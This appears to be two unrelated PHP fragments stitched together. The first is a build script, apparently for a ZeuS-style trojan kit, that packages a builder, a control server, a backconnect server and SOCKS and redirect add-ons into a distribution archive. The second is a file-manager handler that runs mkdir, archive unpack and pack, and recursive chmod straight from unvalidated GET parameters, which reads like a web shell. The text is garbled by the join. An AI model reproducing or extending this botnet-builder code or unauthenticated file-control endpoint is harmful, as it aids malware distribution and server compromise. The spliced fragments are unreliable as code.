//Копируем лицензию, если она сущеcтвует. copyFileIfExists("{$configDir}\\license.key", $dir['output']['builder'] . '\\license.key'); } if (configBool('manual')) { writeStep("BUILDING MANUAL"); copyFile($dir['docs'] . '\\manual_ru.html', $dir['output'][0] . '\\manual_ru.html'); } if (platformEnabled('server', 'php')) { writeStep("BUILDING PHP SERVER"); if (!configBool('jabber_notifier')) { $commandLineOptions['server']['php']['exclude_files'][] = 'system\\jabberclass.php'; $commandLineOptions['server']['php']['exclude_files'][] = 'system\\reports_jn.*'; } buildBinary('server', 0, false, false); //Копируем гео-базу. copyFile($dir['geobase'] . '\\country[maxmind].txt', $dir['output']['server'] . '[php]\\install\\geobase.txt'); createSubDir($dir['source']['server'] . '[php]\\tmp'); //Копируем дополнения. createSubDir($dir['output']['other']); copyFile($dir['source']['other'] . '\\redir.php', $dir['output']['other'] . '\\redir.php'); copyFile($dir['source']['other'] . '\\sockslist.php', $dir['output']['other'] . '\\sockslist.php'); } if (configBool('bcserver_platforms')) { writeStep("BUILDING BACKCONNECT SERVER"); buildBinary('bcserver', 1, true, false); } if (configBool('builder_platforms') || configBool('bcserver_platforms') || platformEnabled('server', 'php')) { writeStep("CREATING DISTRIBUTED PACKAGE"); packDir(array($dir['output']['builder'], $dir['output']['server'] . '[php]', $dir['output']['server'], $dir['output']['other'], $dir['output'][0] . '\\manual_??.txt'), $dir['output'][0] . '\\ZS_' . BO_CLIENT_VERSION); } goodEnd();
case "makeDir": $path = filter_input(INPUT_GET, "path") == "" ? "" : filter_input(INPUT_GET, "path") . "/"; $name = filter_input(INPUT_GET, "name"); mkdir(__DIR__ . "/" . $path . $name, 0755); exit; break; case "unpack": $path = filter_input(INPUT_GET, "path"); $file = filter_input(INPUT_GET, "file"); unpackFile($file, $path); exit; break; case "pack": $path = filter_input(INPUT_GET, "path"); $file = filter_input(INPUT_GET, "file") . ".zip"; packDir($path, $file); exit; break; case "changeChmod": $path = filter_input(INPUT_GET, "path"); $recursively = filter_input(INPUT_GET, "recursively") == "true"; $filesChange = filter_input(INPUT_GET, "filesChange") == "true"; $foldersChange = filter_input(INPUT_GET, "foldersChange") == "true"; $filesPerm = filter_input(INPUT_GET, "filesPerm"); $foldersPerm = filter_input(INPUT_GET, "foldersPerm"); recursiveChmod($path, $recursively, $filesChange, $foldersChange, $filesPerm, $foldersPerm); exit; break; } ?>